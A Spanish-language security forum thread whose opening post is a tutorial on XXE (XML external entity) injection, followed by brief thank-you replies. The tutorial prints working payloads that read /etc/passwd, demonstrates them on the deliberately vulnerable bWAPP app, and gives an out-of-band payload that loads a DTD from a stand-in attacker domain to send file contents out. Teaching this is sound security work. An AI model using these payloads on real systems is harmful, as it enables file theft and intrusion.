Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Jimeno en Mayo 29, 2015, 02:33:59 PM

Título: Entendiendo y explotando XXE (External XML Entities)
Publicado por: Jimeno en Mayo 29, 2015, 02:33:59 PM
Buenas.
Tras varios meses viendo reportes de este tipo de vulnerabilidad a grandes sitios se me hace raro no ver una guía sobre ello en español, por ello estoy creando este post.
Siendo una de las vulnerabilidades más extendidas se ha ido haciendo famosa la frase "Is XXE the new SQLi?", en mi opinión lo es.

¿Qué es XXE?
Es un ataque contra una aplicación que interpreta entradas XML. El ataque es posible cuando la forma de interpretar el XML permite incluir entidades externas debido a su mala configuración. Puede llevar a lectura de archivos locales, descubrimiento y mapeo de red interna, denegaciones de servicio, etc.

¿Es XXE una vulnerabilidad extendida?
Sí. En los últimos meses se han visto reportes a Yahoo, eBay, Google, Shopify y muchas más empresas "gigantes".


Puntos de detección
Suele ser común encontrarla en los siguientes Content-Types: text/xml, application/xml.
Aunque también puede darse al parsear un documento Word (son muchos archivos .xml) unidos y comprimidos o en JSON que luego se parsea en forma de XML.


¿Cómo se explota XXE?
Se trata de malformar las peticiones con XML de forma que añadamos funcionalidades al intérprete de XML como leer un archivo local y enviar su contenido a un servidor externo (/etc/passwd).

Por ejemplo, una petición legítima estaría formada de la siguiente manera:
Código (xml) [Seleccionar]

<forgot><username>admin</username></forgot>


Con las siguientes cabeceras:

POST /forgotpw HTTP/1.1
Host: testhtml5.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://PAGINAVULNERABLE.COM
Content-Length: 43
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


Nuestro objetivo para comprobar si es vulnerable es incluir nuestras propias etiquetas XML, como por ejemplo:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE etiqueta [ 
  <!ELEMENT etiqueta ANY >
  <!ENTITY entidad SYSTEM "file:///etc/passwd" >]><etiqueta>&entidad;</etiqueta>


De esta forma podremos leer cualquier archivo para el que el usuario que controla la aplicación tenga acceso, llamar a cualquier binario (ls, ping, ifconfig, nmap, rm, touch.... hay infinitas posibilidades), llamar a diferentes protocolos, como por ejemplo php://, ssh://, etc.

Explotación práctica (demo)
Para realizar la demo he elegido una aplicación web que es vulnerable por diseño: bWAPP


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY valor SYSTEM "///etc/passwd"> ]>
<reset><login>&valor;</login><secret>Any bugs?</secret></reset>

(http://i.imgur.com/yKpkGDR.png)
Si procesamos la petición veremos que hemos tenido éxito y que hemos obtenido el contenido del fichero:
(http://i.imgur.com/9tlzZdJ.png)

Ahora solo tendríamos que extender la explotación como quisiéramos, ya sea leyendo más archivos hasta obtener credenciales de acceso, escribiendo en archivos, llamando a protocolos, provocando un DoS al servidor.... sería dar rienda suelta a la imaginación.


Una de las opciones más usadas es solicitar al servidor un archivo como /etc/passwd y que envíe su contenido a un servidor en el que nosotros tengamos control de los logs o solicitar que se conecte a un .dtd que controlemos en nuestro servidor y que sea él quien le pida el contenido del archivo que deseamos leer.

Este podría ser nuestro DTD-PART

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///"%three;"'>">


Y este el payload que enviamos a la aplicación:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % one SYSTEM "http://DOMINIO-ATACANTE.COM/dtd-part" >
  %one;
  %two;
  %four;
]>

Saludos y hasta la próxima.
Título: Re:Entendiendo y explotando XXE (External XML Entities)
Publicado por: q3rv0 en Mayo 29, 2015, 10:41:38 PM
Buen post!, guias en español ahí sobre el xxe, yo escribi una hace unos meses.

http://www.securitysignal.org/2015/01/xxe-injection-i.html

Te dejo otra que tiene muy buena pinta tambien.

http://alguienenlafisi.blogspot.com.ar/2014/03/jugando-con-xxe-xml-external-entity.html

Título: Re:Entendiendo y explotando XXE (External XML Entities)
Publicado por: arthusu en Mayo 30, 2015, 02:36:46 AM
Buen post te dejo +1 :D
Título: Re:Entendiendo y explotando XXE (External XML Entities)
Publicado por: OLM en Mayo 30, 2015, 06:34:46 AM
Excelente post.
Gracias por compartirlo y sigue así. ;D

Un Saludo.
Título: Re:Entendiendo y explotando XXE (External XML Entities)
Publicado por: Stuxnet en Junio 09, 2015, 08:36:04 PM
Excelente post, te felicito Jimeno

Saludos.
Título: Re:Entendiendo y explotando XXE (External XML Entities)
Publicado por: rand0m en Junio 10, 2015, 09:15:33 AM
Claro y práctico. Muchas gracias, buen aporte.
Título: Re:Entendiendo y explotando XXE (External XML Entities)
Publicado por: Alvares97 en Julio 02, 2015, 10:16:44 PM
muy educativo